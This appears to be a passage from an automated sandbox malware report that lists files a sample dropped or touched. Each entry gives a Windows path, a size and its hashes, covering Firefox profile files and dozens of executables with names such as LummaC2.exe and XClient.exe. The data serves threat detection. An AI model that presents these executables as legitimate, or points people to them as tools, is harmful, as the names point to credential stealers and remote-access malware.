C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\vo8scey3.default-release\gmp-gmpopenh264\2.3.2\gmpopenh264.dll

Filesize
1.1MB

MD5
842039753bf41fa5e11b3a1383061a87

SHA1
3e8fe1d7b3ad866b06dca6c7ef1e3c50c406e153

SHA256
d88dd3bfc4a558bb943f3caa2e376da3942e48a7948763bf9a38f707c2cd0c1c

SHA512
d3320f7ac46327b7b974e74320c4d853e569061cb89ca849cd5d1706330aca629abeb4a16435c541900d839f46ff72dfde04128c450f3e1ee63c025470c19157

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\vo8scey3.default-release\gmp-gmpopenh264\2.3.2\gmpopenh264.info

Filesize
116B

MD5
2a461e9eb87fd1955cea740a3444ee7a

SHA1
b10755914c713f5a4677494dbe8a686ed458c3c5

SHA256
4107f76ba1d9424555f4e8ea0acef69357dfff89dfa5f0ec72aa4f2d489b17bc

SHA512
34f73f7bf69d7674907f190f257516e3956f825e35a2f03d58201a5a630310b45df393f2b39669f9369d1ac990505a4b6849a0d34e8c136e1402143b6cedf2d3

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\vo8scey3.default-release\gmp-widevinecdm\4.10.2710.0\manifest.json

Filesize
372B

MD5
bf957ad58b55f64219ab3f793e374316

SHA1
a11adc9d7f2c28e04d9b35e23b7616d0527118a1

SHA256
bbab6ca07edbed72a966835c7907b3e60c7aa3d48ddea847e5076bd05f4b1eda

SHA512
79c179b56e4893fb729b225818ab4b95a50b69666ac41d17aad0b37ab0ca8cd9f0848cbc3c5d9e69e4640a8b261d7ced592eae9bcb0e0b63c05a56e7c477f44e

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\vo8scey3.default-release\gmp-widevinecdm\4.10.2710.0\widevinecdm.dll

Filesize
17.8MB

MD5
daf7ef3acccab478aaa7d6dc1c60f865

SHA1
f8246162b97ce4a945feced27b6ea114366ff2ad

SHA256
bc40c7821dcd3fea9923c6912ab1183a942c11b7690cfd79ed148ded0228777e

SHA512
5840a45cfdb12c005e117608b1e5d946e1b2e76443ed39ba940d7f56de4babeab09bee7e64b903eb82bb37624c0a0ef19e9b59fbe2ce2f0e0b1c7a6015a63f75

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\vo8scey3.default-release\logins-backup.json

Filesize
726B

MD5
7da8575d7d2368540928264c5ec08ece

SHA1
fefeb3147214b62a93694d846c9951371c2dc1fb

SHA256
47fabf9c92a0600a0b5b10a5a42bf77d628f117a7a183e47365e33f4d68c876e

SHA512
3dcb22312372d3440c17b5fb4ce66ded9c959af780e03c5f41f21bac395cfac629e0ced6236d9ee020d8a548034d64c00016df2659cf5db77feb1a1418f7d516

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\vo8scey3.default-release\logins-backup.json

Filesize
796B

MD5
cee4206e716ba8497ee61c7ed6f4a071

SHA1
2c37322b01a376654d0ac48bf17b2e3bfffad637

SHA256
42604aea5490c2f6835b8572f488173459ebb4e234825f99bed8c5d0f6ffedaa

SHA512
4b068c482a109a69775b882294da5fa2ed2edbfac2f3a30341d04649d67fbef6354d4ee75ba2a79f2c0d83269a70b54876c9a2b0fb2ce554d01cecef1202dec1

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\vo8scey3.default-release\prefs-1.js

Filesize
11KB

MD5
0ff99791f4edf8c300769d880a7a8899

SHA1
b933942f6cd1b488497a93a262b2f7bdc30d267f

SHA256
8c6a5d192ea9dbd693f4f295df1ccd23b7e41dcdba06244a9c55c685db4b897b

SHA512
d7fc57b7a5dbb93da2cf7590e78ff6c933ba19077ae9bb62ef8c99306dd7746f1ad71e29415dbf3abb8b8e0b8452cab6e4fed2a618eedda6b056c31efdbdc759

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\vo8scey3.default-release\prefs-1.js

Filesize
10KB

MD5
a1308fb178cc1b8dcf7e07288333eff4

SHA1
624425d1f6224b8790cd237f894aea12f737d7f7

SHA256
65af0b7405c932fde6a89598cc114b97049f1804016b996fa124d79123b2bf70

SHA512
f1643b70c601a86972013dd02e3e3b039965455efdf7447b00b4bed0c6b9153ce492f2cadde4c679da477b9beeadc925785e062142f0084954db47a4f637f88c

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\vo8scey3.default-release\prefs.js

Filesize
11KB

MD5
2f3cd109ad48e2c81d848a868d97fdf2

SHA1
53f557975c795218c5affa941bf5f402eab96481

SHA256
b793e328eb501a63455e5bfebfc891a62b7b0ccef4b4baded37fd4d4b8ce89c7

SHA512
34d33746809f5dbfb329dc00b82da03be46dad96b8b8a889d28448c0b9869a099690fe349e0edef833b059e993f4674978828c24badb17fc66806d90cbfa4b79

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\vo8scey3.default-release\sessionCheckpoints.json

Filesize
228B

MD5
a0821bc1a142e3b5bca852e1090c9f2c

SHA1
e51beb8731e990129d965ddb60530d198c73825f

SHA256
db037b650f36ff45da5df59bc07b0c5948f9e9b7b148ead4454ab84cb04fd0e2

SHA512
997528e2ecd24a7e697d95cd1a2a7de46a3d80b37fd67fac4fb0da0db756b60a24648b7074255dc38f7651302f70894a53c3d789f3d7cd9f80fb91bd0cade4be

Download Submit
C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\vo8scey3.default-release\sessionstore-backups\recovery.baklz4

Filesize
3KB

MD5
3fcaa2a07bbc36fc43f3f5fc2196421b

SHA1
72431d96269b880f73a312e362712429fded5349

SHA256
bffe9fe232c1681e0fe8828a89cb4df063af5f4c428b24c8a23a72e96b6959ca

SHA512
48cf10e3591d55b6527be812f1d2cc4be34fcd73b7a0b90fa5dd53cca870eafbeabe8b25a2ed3aa5fb85fcaf96cda0ac9296e227d8d8ad189ff96da7a210cc90

Download Submit
C:\Users\Admin\AppData\Roaming\updtewinsup221\client32.exe

Filesize
101KB

MD5
c4f1b50e3111d29774f7525039ff7086

SHA1
57539c95cba0986ec8df0fcdea433e7c71b724c6

SHA256
18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d

SHA512
005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5

Download Submit
C:\Users\Admin\Desktop\4363463463464363463463463.exe

Filesize
10KB

MD5
2a94f3960c58c6e70826495f76d00b85

SHA1
e2a1a5641295f5ebf01a37ac1c170ac0814bb71a

SHA256
2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce

SHA512
fbf55b55fcfb12eb8c029562956229208b9e8e2591859d6336c28a590c92a4d0f7033a77c46ef6ebe07ddfca353aba1e84b51907cd774beab148ee901c92d62f

Download Submit
C:\Users\Admin\Desktop\Files\%E8%88%9E%E8%B9%88%E5%8A%A9%E6%89%8B.exe

Filesize
1.8MB

MD5
0355d22099c29765ce2790792a371a14

SHA1
e4394f9c2dd11bb5331b4613c7d0c7b69bb0e018

SHA256
cbcbade0c0159285d7e24f8874bdbe18db572337a3057578369a85592f7bef55

SHA512
ff9f90c1a1999d9cfa75a409c240aa8f6bfd96400ddba150666b60dd60ff58b234e8b473cba85f84de29c762d7d1946084f7f20f756826a354380f09e108f318

Download Submit
C:\Users\Admin\Desktop\Files\._cache_System.exe

Filesize
40KB

MD5
8c423ccf05966479208f59100fe076f3

SHA1
d763bd5516cddc1337f4102a23c981ebbcd7a740

SHA256
75c884a8790e9531025726fd44e337edeaf486da3f714715fa7a8bdab8dbabe3

SHA512
0b94558cbfd426300673b4d98e98a9408de236fe93bb135fa07e77ee0851621bfc9a5129322f31c402a606ab1952eb103de483c3b48a86c3225318d98f78bc20

Download Submit
C:\Users\Admin\Desktop\Files\02.08.2022.exe

Filesize
208KB

MD5
be1fe8cb2e323aa503aba13d73f0f496

SHA1
ad9140078ac4a4ed881c1289975bdf1de9a5619d

SHA256
09891350b321e6d1e3d6738a43831025396d3ebc1c1c3b6a83dcc16e709e93fa

SHA512
bd826d8c4de102d2d19409f3bf1948ad0ec6cca83f8dfc5d4aa98434f0d472fe208699c2cca4198043a6aefd1d96358988ff582121663c450adba1694f69fb5e

Download Submit
C:\Users\Admin\Desktop\Files\11.exe

Filesize
79KB

MD5
e2e3268f813a0c5128ff8347cbaa58c8

SHA1
4952cbfbdec300c048808d79ee431972b8a7ba84

SHA256
d8b83f78ed905a7948e2e1e371f0f905bcaaabbb314c692fee408a454f8338a3

SHA512
cb5aeda8378a9a5470f33f2b70c22e77d2df97b162ba953eb16da085b3c434be31a5997eac11501db0cb612cdb30fa9045719fcd10c7227c56cc782558e0c3bc

Download Submit
C:\Users\Admin\Desktop\Files\14082024.exe

Filesize
304KB

MD5
9bba979bb2972a3214a399054242109b

SHA1
60adcedb0f347580fb2c1faadb92345c602c54e9

SHA256
17b71b1895978b7aaf5a0184948e33ac3d70ce979030d5a9a195a1c256f6b368

SHA512
89285f67c4c40365f4028bc18dd658ad40b68ff3bcf15f2547fc8f9d9c3d8021e2950de8565e03451b9b4ebace7ed557df24732af632fdb74cbd9eb02cf08788

Download Submit
C:\Users\Admin\Desktop\Files\1_encoded.exe

Filesize
7KB

MD5
6c098287139a5808d04237dd4cdaec3f

SHA1
aea943805649919983177a66d3d28a5e964da027

SHA256
53932083665adaf933f3d524e1d8399ee4530e03b53d0d39fcbc227041e6a787

SHA512
a9430d0661271f5f988aa14165b945faf4120cc7ed4f751e8f2f4498a7d7c74f03652f45c35035027e112976206054af831d5bd8909377b3947a8a87950afa47

Download Submit
C:\Users\Admin\Desktop\Files\25072023.exe

Filesize
304KB

MD5
a9a37926c6d3ab63e00b12760fae1e73

SHA1
944d6044e111bbad742d06852c3ed2945dc9e051

SHA256
27955c80c620c31df686ccd2a92bce1d07e97c16fda6bd141812e9b0bdd7b06b

SHA512
575485d1c53b1bf145c7385940423b16089cf9ab75404e2e9c7af42b594480470f0e28dadcddbd66e4cd469e45326a6eb4eb2362ccc37edb2a956d224e04cf97

Download Submit
C:\Users\Admin\Desktop\Files\41m98slk.exe

Filesize
4.5MB

MD5
f9e90bb2c2cc243057e40440e49f3ed1

SHA1
69631cb253a757f61f5f894e6896740ee3808dc5

SHA256
bede457084899e1c6a0e0779ed1b4534add18fd2041724f4635360fda522b6da

SHA512
0ce38ca30c7ba8627d26dea32df685ef8be3c4be32dab4875fa9e1a48627cb2ad1038d9e08a92159ba69a7b6d6967fe36ab9d1645ed13a6d5f51193e1d828714

Download Submit
C:\Users\Admin\Desktop\Files\5447jsX.exe

Filesize
392KB

MD5
5dd9c1ffc4a95d8f1636ce53a5d99997

SHA1
38ae8bf6a0891b56ef5ff0c1476d92cecae34b83

SHA256
d695267de534c2c99ec2823acc193fdbec9f398b0f78155ae2b982457ff631aa

SHA512
148d1b324391c4bb63b152a3c91a586b6821c4f5cde2a3f7afa56ad92074672619554fba3b2baca9802ff1ed9b42081574163304d450f7ccf664638599b23c2a

Download Submit
C:\Users\Admin\Desktop\Files\5KNCHALAH.exe

Filesize
1.6MB

MD5
3f99c2698fc247d19dd7f42223025252

SHA1
043644883191079350b2f2ffbefef5431d768f99

SHA256
ba8561bf19251875a15471812042adac49f825c69c3087054889f6107297c6f3

SHA512
6a88d1049059bba8f0c9498762502e055107d9f82dbc0aacfdd1e1c138bdb875cf68c2b7998408f8235e53b2bb864ba6f43c249395640b62af305a62b9bfcd67

Download Submit
C:\Users\Admin\Desktop\Files\AA_v3.5.exe

Filesize
746KB

MD5
2cbf5657ffd8858a9597f296a60270c2

SHA1
b130611c92788337c4f6bb9e9454ff06eb409166

SHA256
9b3f4d6a9bae4d7f9cfe45e706db8fe4baef51ae12353941e8b1532b231e6eac

SHA512
06339a299c8c9ce55e9b96582e54e0bf9e04f894ceb47c07486adf8b0140c2a01fd0932207aca8112ee0b16ba8711fee9435e37339aafb94f167b5a736ee7d0b

Download Submit
C:\Users\Admin\Desktop\Files\AdaptorOvernight.exe

Filesize
25.0MB

MD5
e0d29de6e2fa7590f857f1ef825c943c

SHA1
5d4166175a6aeadad97a01f856856cc87a482311

SHA256
47fa886618e66e730a11f7a37be8ab0371709624a0ad26e7370c0220bdd4786d

SHA512
190c08889a5085bc38d8cc8689eb6dc461338f80496cda05068b20940053a4df6330a35ae651c8cdc325e090a87b5b097dfae7ead64d39dda3cca1a03fedba5e

Download Submit
C:\Users\Admin\Desktop\Files\ApertureLab.exe

Filesize
2.1MB

MD5
77970896073bbafdc8c1811414c62536

SHA1
c2d2fdbc9e80daa95e3046e2d3bd13e7ca312e18

SHA256
980fcb6365092cd752934417abb0f2a95bca452c58856240157107e70c1d754d

SHA512
5fc31572ad864ca15cd2eb7e8baadc62b72a72ad5d28da4ae04158f67b6cbfd1985983586fd6e51a4781bdffbdd557b30d44d38a3a37ae88cf785c834d739a30

Download Submit
C:\Users\Admin\Desktop\Files\Avos.exe

Filesize
807KB

MD5
8da384b2427b8397a5934182c159c257

SHA1
7bcd2d32a19c1ac7bd014dc9e64b806fdff5f5de

SHA256
f8e99bbacc62b0f72aa12f5f92e35607fa0382a881fe4a4b9476fc6b87a03c78

SHA512
3c4b1736efa48a4897769f12df488e60737523eaffc886ecfbd5b7191f058749bdb4a36feb067e8ca0ef418a7602b3390b6cf465412b88a4ba2fce8a4d670a89

Download Submit
C:\Users\Admin\Desktop\Files\BattleGermany.exe

Filesize
8.3MB

MD5
b7df5fdcfdc3f46b0b4f28c1ffb82937

SHA1
3209511839cd917318c754e0105c1d0cf298f25b

SHA256
7636d2367079eabd9da2bb40935df3da580affc47473fd93ed3b2e01ee6c46e5

SHA512
8a65c4e2b0755323293736fc01eb445071e04f7e2c345d2838bf7a89887f40c6e3b81df4bb35807d9a47ffa322b42383194baec45fd9b3f1e31cbcb6a72e819f

Download Submit
C:\Users\Admin\Desktop\Files\Cbmefxrmnv.exe

Filesize
2.0MB

MD5
170fb4fa36de83de39a9e228f17b0060

SHA1
4a9ee216442b6fc98152fe9e80e763d95caede6c

SHA256
145dbb397089105d6d06a861d62b48be9fd2527fb7d023b114cf05b723cd3858

SHA512
168f389ce7dd0a7feacf6505c1a52a6743900974dd11af86b2e07998817b2021f62dec0b00daffbc212fd51337500fa9ff1d669d708103de2337195db936ee8f

Download Submit
C:\Users\Admin\Desktop\Files\CleanerV2.exe

Filesize
3.1MB

MD5
e6aeb08ae65e312d03f1092df3ba422c

SHA1
f0a4cbe24646ad6bd75869ecc8991fd3a7b55e62

SHA256
74fc53844845b75a441d394b74932caa7c7ad583e091ec0521c78ebad718100e

SHA512
5cce681c2bfea2924516abab84028ebbd78194a4a9a83f9cfdcebdf88aba9e799b1e9ca859a0c68a2438c1c6b605120fc5f192db205173b36237512623514284

Download Submit
C:\Users\Admin\Desktop\Files\Client.exe

Filesize
31KB

MD5
eb6401a1d957dce189e9a1ad06f41172

SHA1
ed58fef2021887c89e2c183d648325e5103eb2dd

SHA256
040473f2b73f8947306d2fa9d99c441447026a56ddcdce11720c17be62e000a8

SHA512
9417fb14d0a8eee31fa6d38df314b9842b01365b0e04885f770da02552125e006cdea6de2ae779db616c0247c41406b8c4c00fca8eb6b646c816e50c35230af6

Download Submit
C:\Users\Admin\Desktop\Files\CnyvVl.exe

Filesize
155KB

MD5
c3555ffa261822a6b1d04314c5370151

SHA1
b497c402641ee805e0e8aeae3e6d0600dc40a91d

SHA256
a8b4fb8e5e17df94c0caa0118382f193ec0fa63703b14d0efc12317f7b80f4ce

SHA512
d1c9471d10e795390347e26de3440ac85f6d9ce82c2dbe451917d9ae3e6d9bc1273b8a2a465df1d9fe678fa586dc4a8864378d1d2dfd85b6bfdcdab5810f65a5

Download Submit
C:\Users\Admin\Desktop\Files\ConsoleApp3.exe

Filesize
15KB

MD5
eb2e78bbb601facb768bd61a8e38b372

SHA1
d51b9b3a138ae1bf345e768ee94efdced4853ff7

SHA256
09d97363cb679a12a09d9795569b38193991362c3b6981d7154b17d34f36f8cf

SHA512
5c2ce80953a39393a6a63c772390709e2140bf9b7e7a7765767bc5ae6fb27e52fa7f9237a918dd8060a83667f29ed47e12adef26127f183bea58859e93c3b9f4

Download Submit
C:\Users\Admin\Desktop\Files\CoronaVirus.exe

Filesize
1.0MB

MD5
055d1462f66a350d9886542d4d79bc2b

SHA1
f1086d2f667d807dbb1aa362a7a809ea119f2565

SHA256
dddf7894b2e6aafa1903384759d68455c3a4a8348a7e2da3bd272555eba9bec0

SHA512
2c5e570226252bdb2104c90d5b75f11493af8ed1be8cb0fd14e3f324311a82138753064731b80ce8e8b120b3fe7009b21a50e9f4583d534080e28ab84b83fee1

Download Submit
C:\Users\Admin\Desktop\Files\DIFF.exe

Filesize
3.0MB

MD5
1f602b0591142d5da70ebd17228d2d46

SHA1
b5763fa5c3d791b9f8f4ee75e3aa1546d8911337

SHA256
a2eb96a74d37068c2116ecdd5f6efbc3bbe83220d98ed9b3bbbe22f6fd23ea72

SHA512
610db95aaf6d14e0ccb5b943c2e7fb7577bf7b57ae93247a413534105144c37f970a66b13dd990badc874d1bf7d28f229c56e4a9aaf87a5be1bcb8b1d11eda35

Download Submit
C:\Users\Admin\Desktop\Files\DOC.exe

Filesize
2.5MB

MD5
2dbdc645b9776239b18f772c30c1a626

SHA1
8677b8ea4f077a8c708a0d894e18513828c30322

SHA256
2b92d1c34b7f0278703c98e9fd755e061d0f120eea327996b223dfc65610dfcd

SHA512
ae5499ad2c40bd8756d614fea51f48c7b8fca4621b489da97f05cc55cf4a9a6032f9ec0c70ed03915da0e021ed9e4cca16810b18d3825ece9dac25e1d74d6fec

Download Submit
C:\Users\Admin\Desktop\Files\Edge.exe

Filesize
1.9MB

MD5
e30340895091ee6f449576966e8448fb

SHA1
4ccb079e7eedbf7113a803c6859241bb56978b4f

SHA256
126d9d9886f57e39642744a8bf62681577fbee52b88fba4c4c5097b04501eade

SHA512
c9116fc043e188b50294ebf8f3b661c55d73735773f61d90ae6d2f1ad06f84aabeb80953a7cddce7e7f75cefd979f16d684c81dd853bd0673536252882a6e0ee

Download Submit
C:\Users\Admin\Desktop\Files\Final.exe

Filesize
308KB

MD5
d5b8ac0d80c99e7dda0d9df17c159f3d

SHA1
ae1e0aeb3fbba55999b74047ee2b8bb4e45f108a

SHA256
c330322b774eb263b008178ff707e13b843fd7df62445cca3c52356509c26f78

SHA512
2637cc05aa402832dadbf48431f1add417b69a8351de2a5edae80283da7a6924166ea56bc85865dfa993d88f467d8f540528627e5cbe64cc67ec8d5a3d6655bc

Download Submit
C:\Users\Admin\Desktop\Files\Identifications.exe

Filesize
9.2MB

MD5
5f283d0e9d35b9c56fb2b3514a5c4f86

SHA1
5869ef600ba564ae7bc7db52b9c70375607d51aa

SHA256
41657910cd010c7e5ebbbfc11a2636fa1868a9bffe78d98b8faa7bd0e9c5c3b8

SHA512
b5b78975c6328feb5e1986698174a85ddf722a639234eb6fe80cfccabaa7d0c09678c9465fd6a9586a0a412f2586d9e9d38eb5243626a2b44a8c8512322415b3

Download Submit
C:\Users\Admin\Desktop\Files\Indentif.exe

Filesize
10.1MB

MD5
4dff7e34dcd2f430bf816ec4b25a9dbc

SHA1
b1d9e400262d2e36e00fa5b29fa6874664c7d0c1

SHA256
6ce52f1764a1ea1e39d4484e39e3d4f494c6b29faf8f676b684f7428cf9fa33a

SHA512
268ba5b7eaab858eb516241ee044b46e1efb211a6826e0df3880421ae95911f271f61e3777171f085b9b05ffccb40b621bfdc3c3ecdd6f23435ac1a963c5a7a5

Download Submit
C:\Users\Admin\Desktop\Files\Launcher.exe

Filesize
18KB

MD5
4f87c94096d58e923812c23b8d5c36b2

SHA1
179861beb9cef904f765bea8d644396bf998d1a6

SHA256
27085156ea5d861390ca922d8aa78e234171f64747c942de379bfa8917cceb17

SHA512
a28c12366249cabe9f2c3310437a4a9897cd8662455e6ff66b1984955ad2e10ed5998f7ccd53d992a791b4b5595df660d1f91cd39271d0746097260f7d4da761

Download Submit
C:\Users\Admin\Desktop\Files\LgendPremium.exe

Filesize
5.7MB

MD5
c84baaa0b67d15dbc989ca2eb55a9b1c

SHA1
20231d1285e4de0916cc71e7d590313296f9d539

SHA256
9f8b8bd90df6a73c3fbd5eb730ca6866f2de8f09ba273d73e7a91731ca90ae79

SHA512
3decb9123dccef7da39cb2c51ba44b30fc79d68b9192b1e9fec95d3b19d2e77de593bfd6c2601718dc975148608ec21bfe047d103db1ba12fb1f2f954ea3de3f

Download Submit
C:\Users\Admin\Desktop\Files\LummaC2.exe

Filesize
303KB

MD5
9b3eef2c222e08a30baefa06c4705ffc

SHA1
82847ce7892290e76be45b09aa309b27a9376e54

SHA256
8903d4bfe61ca3ca897af368619fe98a7d0ee81495df032b9380f00af41bbfc7

SHA512
5c72c37144b85b0a07077243ffe21907be315e90ba6c268fdb10597f1e3293e52a753dccbfd48578871a032898677c918fa71dc02d6861e05f98f5e718189b73

Download Submit
C:\Users\Admin\Desktop\Files\LummaC22222.exe

Filesize
258KB

MD5
40e9f5e6b35423ed5af9a791fc6b8740

SHA1
75d24d3d05a855bb347f4e3a94eae4c38981aca9

SHA256
7fdd7da7975da141ab5a48b856d24fba2ff35f52ad071119f6a83548494ba816

SHA512
c2150dfb166653a2627aba466a6d98c0f426232542afc6a3c6fb5ebb04b114901233f51d57ea59dbef988d038d4103a637d9a51015104213b0be0fe09c96aea8

Download Submit
C:\Users\Admin\Desktop\Files\MajesticExec.exe

Filesize
12.0MB

MD5
1963ce8f3f680d344d195bc27449b9a7

SHA1
2e6003b291dd2ffde77487be166536f63c66c672

SHA256
46d936bdc8ae3c40d119eec506b3a8aef4f6b97d10207fe4768692c3e887d082

SHA512
fb628ec38dc1e477fd90059b7a5901b0a76b43cb3bdebab38f50d85657385668323a97206769ca73028c94b9ee053a483828ce0a56a032bed2c3f5848b7025a0

Download Submit
C:\Users\Admin\Desktop\Files\Microsoft Edge.ini

Filesize
328B

MD5
b268a17063d4692b18f0e18217308fe4

SHA1
0da67dc0580b81a611bc79bb625e4df98d15895e

SHA256
9d4553d38d38e15bd9338ba632c832cf97511ed78ff5d3259a48ca8b8ca56b5f

SHA512
1b80d02f963b3cccbc0cf9e980981fec00c31e96269e13eeb4bb10866773979e0901804aa5f425fd545a7f5e6f5b24a7f52127c74e22e0e5f13d72fc6b1a516a

Download Submit
C:\Users\Admin\Desktop\Files\Office2024.exe

Filesize
2.7MB

MD5
df92abd264b50c9f069246a6e65453f0

SHA1
f5025a44910ceddf26fb3fffb5da28ea93ee1a20

SHA256
bc7d010eb971dbc9cbeedc543f93bb1b6924d57597e213dbe10c2c1efd8d0296

SHA512
a3f48831efa65cea6a2cf313f698b59d84119023196e11b1266d937a5b4c05aa4aab67c6d40450bef5c9245b46316980906fa73196d892f2880abc2b1b863455

Download Submit
C:\Users\Admin\Desktop\Files\Organiser.exe

Filesize
72KB

MD5
2939997c9fc9dca6ccf9124200c5bcf7

SHA1
93d1265e21b77bd130b00afaa79c10df305be803

SHA256
69b2c233d4fdb8080ed851c14f8d35bbf2a1d0722b9fcd25881cef408c03cc31

SHA512
53278788eb7e931c83eb62ff9bdf814daf3ab51ffde6072d72131503f6eb806c6780be4ff2544ab772c316a39920c82b1cfe37bba2511186c95408be44e76407

Download Submit
C:\Users\Admin\Desktop\Files\PharmaciesDetection.exe

Filesize
846KB

MD5
569720e2c07b1d34bac1366bf2b1c97a

SHA1
d0c7109e04b413f735bf034ce2cb2f8ee9daa837

SHA256
0df79273aea792b72c2218a616b36324e31aaf7da59271969a23a0c392f58451

SHA512
fa83ba4e0b1fa1f746e0ff94cb8f6e4ed9c841c66cc661c6fd28d30919ae657425fe0bb77319cf328a457600e364147c6e9d9140548a068a18a7e2ca0a3a2436

Download Submit
C:\Users\Admin\Desktop\Files\Pichon.exe

Filesize
4.8MB

MD5
3bb8ce6c0948f1ce43d5dc252727e41e

SHA1
98d41b40056f12a1759d6d3e56ab1fe0192a378f

SHA256
709bddb0cbd2998eb0d8ca8b103b4e3ed76ca8cdc9150a6d0e59e347a0557a47

SHA512
239b8df14d47f698acef2f7c70cbfc943fe66a25553940078b08bf60957f94d6480a8cf5d846e6b880c79ab248e83d8da033cfc6c310a5e2564678b129e7296a

Download Submit
C:\Users\Admin\Desktop\Files\Prototype.exe

Filesize
72KB

MD5
be9cf1233b2ee932a3f1e4d0731e7903

SHA1
3d004f963cae751f5be3914cd91d1c38f4df7f2a

SHA256
dcfe0636c7f7a34fc02249d3af2d7178580c0038ee355e08ba316c2bb48d5761

SHA512
13689dd7155885bd1e51db2fe844b85bd79986276f1901d057991f37f87195585ec17b26fb47deea699fefb01685a7d24cf93b415d813b0b2dd000322d15c6b2

Download Submit
C:\Users\Admin\Desktop\Files\RMS1.exe

Filesize
1.4MB

MD5
03b1ed4c105e5f473357dad1df17cf98

SHA1
faf5046ff19eafd3a59dcf85be30496f90b5b6b1

SHA256
6be5916900ffda93154db8c2c5dd28b9150f4c3aef74dbd4fd86390bc72845ba

SHA512
3f6f8a12d000b913dc8240542be6a64f991dc0802313782d038b971219308e7d381d4d96c25d98ee1b05bca127a9bbc69e3bd54f1722d8381f8060bb506a9765

Download Submit
C:\Users\Admin\Desktop\Files\Session.exe

Filesize
19KB

MD5
370dcc1d0729d93d08255de011febaa4

SHA1
12462b20ff78fa8bc714c02fe6b4427d7b82842d

SHA256
722359ebd46ace2d25802959791ae3f6af433451d81b915cdb72890cbba357ef

SHA512
3e43839663825a4c4ee1ca8f81beda5b142539dc559e89df41bc24cedeaa9e58d85d326b47e24bf0a3cf08f9f64683c527e7867901ae979ef81efc9112df133c

Download Submit
C:\Users\Admin\Desktop\Files\SingerJudy.exe

Filesize
1.1MB

MD5
0e43108aac7bb6e9f68d769b746fea16

SHA1
751e7fe585e73d5ab80f5f629c94c170484c12f5

SHA256
931a185152c1d316cd2b65998aee88d4f64f4acbe59df3efabb0ff968fa6c993

SHA512
faca3f1d87a4bdbacc0396544818a27925800b95e298185eb8ae3580d79f02a7eee7f02564181f453bdb56197539a3659526e1f00881ac0779301d7dbdd60c27

Download Submit
C:\Users\Admin\Desktop\Files\System.exe

Filesize
794KB

MD5
3d2c42e4aca7233ac1becb634ad3fa0a

SHA1
d2d3b2c02e80106b9f7c48675b0beae39cf112b7

SHA256
eeea8f11bf728299c2033bc96d9a5bd07ea4f34e5a2fbaf55dc5741b9f098065

SHA512
76c3cf8c45e22676b256375a30a2defb39e74ad594a4ca4c960bad9d613fc2297d2e0e5cc6755cb8f958be6eadb0d7253d009056b75605480d7b81eb5db57957

Download Submit
C:\Users\Admin\Desktop\Files\Update.exe

Filesize
5.2MB

MD5
42fa3ed3a69e46dd9e736b6779fcb461

SHA1
d7cc3075b0635770e1b1ef95e4090e97c4b7b73f

SHA256
917d94bfd2bb93f1f3d1757a85f7a6456f9b4a1cded0b7b0f0b4104117e61a1a

SHA512
a8dbb2f4151e95626e850d5860a110ac8da741a7c73270fc1d5716b8deabca22f6373c48d30c22e7aa8ed134f31baa5431b4ec3577066642c3486affe55e7c2c

Download Submit
C:\Users\Admin\Desktop\Files\VidsUsername.exe

Filesize
2.5MB

MD5
081c87c612e074a69ed34d7102543bbc

SHA1
ab54e6cae05b483b89badd3f11e72efdbf229771

SHA256
2808948b635ccf20d4bf679457e45bfe21a783ec99e095e55382bede47f6579f

SHA512
caeca5e66b0f11d46f2b83ad2c56f20f95aaf8ba1f1e7c235dcc39361a6d9dfce838231617fb23f653711e3dcfcd5ec073d9922553f9f42a8242c58d0161b23d

Download Submit
C:\Users\Admin\Desktop\Files\WinRarInstall.exe

Filesize
4.7MB

MD5
af91873c641aab500eba3a3ad6f17b74

SHA1
c52992ba04624bcd87696f9c37c9c708b3c15b9c

SHA256
f568d5c96eefd67d284787b804ab17a610a93dcc48d855515fb187f1b6dba249

SHA512
730a9215911d16cd04d578d7c0f660d3d04282183ad7274bdb18d2f542b044bfe75f76e57fc092bfd6ab28b5f780aff4d01446f8868830d931d860a521795ffc

Download Submit
C:\Users\Admin\Desktop\Files\XClient.exe

Filesize
35KB

MD5
144f398d59c44e3c5a5ed28b8ba1918a

SHA1
9adc52e3f04aa4f92cb288a02968526806b23ac8

SHA256
4027dbb9777d42ebd7737bd906747b091139debe7f2f11b094ed1c13758971e7

SHA512
8f883b6235a956200396553a6338d9619fed8811d93993578b38175df050502840199894065d5b6df770b364a99ce6139dbe9c938aa91bc69470eea57b26fa00

Download Submit
C:\Users\Admin\Desktop\Files\aa.exe

Filesize
3.1MB

MD5
c35b138798d06ef2009300eff2932703

SHA1
37db536bd71308ae8a50007b7b45d892c18db15e

SHA256
f1369f6d5a14faf0f921e01db5024a65f919434b9b7efef1e3c765c9bb209861

SHA512
f4145bfa51dedd5f0c91b383e3ebdbf4e11e7977413d6c95cbb8a718ebb4d68d82d1a3122890dac291784ec61c275df0764bcf53bfb3d35ba5e7023dcdcc5f8a

Download Submit
C:\Users\Admin\Desktop\Files\aaa.exe

Filesize
19KB

MD5
1318fbc69b729539376cb6c9ac3cee4c

SHA1
753090b4ffaa151317517e8925712dd02908fe9e

SHA256
e972fb08a4dcde8d09372f78fe67ba283618288432cdb7d33015fc80613cb408

SHA512
7a72a77890aa74ea272473018a683f1b6961e5e765eb90e5be0bb397f04e58b09ab47cfb6095c2fea91f4e0d39bd65e21fee54a0eade36378878b7880bcb9d22

Download Submit
C:\Users\Admin\Desktop\Files\anticheat.exe

Filesize
304KB

MD5
b3342d61145ef64d216fd5cbc36c7e20

SHA1
2a474a10371f0eb1c04d62e1e385b25f23edd266

SHA256
